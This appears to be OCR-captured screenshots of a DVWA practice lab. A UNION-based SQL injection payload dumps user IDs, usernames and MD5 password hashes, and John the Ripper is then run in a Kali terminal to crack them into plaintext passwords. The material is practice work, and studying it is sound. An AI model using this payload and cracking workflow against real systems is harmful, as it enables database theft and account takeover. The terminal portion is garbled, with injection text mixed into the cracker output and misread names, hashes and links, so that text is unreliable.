



Vulnerability: SQL Injection

User ID:

1' UNION SELECT 1, CONCAT(

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: admin
Surname: admin
```

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 1:admin:5f4dcc3b5aa765d61d8327deb882cf99
```

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 2:gordonb:e99a18c428cb38d5f260853678922e03
```

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 3:1337:8d3533d75ae2c3966d7e0d4fcc69216b
```

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 4:pablo:0d107d09f5bbe40cade3de5c71e9e9b7
```

```
ID: 1' UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
First name: 1
Surname: 5:smithy:5f4dcc3b5aa765d61d8327deb882cf99
```

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

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```
Username: admin
Security Level: low
PHPIDS: disabled
```

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```
root@kali: /home/kali/Desktop
File Actions Edit View Help
(kali@kali)-[~/Desktop]
└─$ sudo su
[sudo] password for kali:
(kali@kali)-[~/Desktop]
└─#
ID: 1 UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
(kali@kali)-[~/Desktop]
└─# john --format=raw-md5 ash 1f4dce3b5aa765d61d8327deb882cf99
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=3
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
password (?)
password ID: (?) UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
abc123 First (?)ame: 1
letmein Surr (?) 4:pabIo:0d187d89f5bbe48cade3de5c71e9e9b7
Proceeding with incremental:ASCII
charley ID: (?) UNION SELECT 1, CONCAT(user_id,':',user,':',password) FROM users#
5g 0:00:00:00 DONE 3/3 (2024-01-18 09:46) 26.31g/s 937673p/s 937673c/s 941715C/s stevy13..che
rtsu
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
(kali@kali)-[~/Desktop]
└─#
More info
http://www.securityreviews500.com/500.html
http://en.wikipedia.org/wiki/SQL_injection
http://www.unixwiz.net/technical/sql-injection.html
```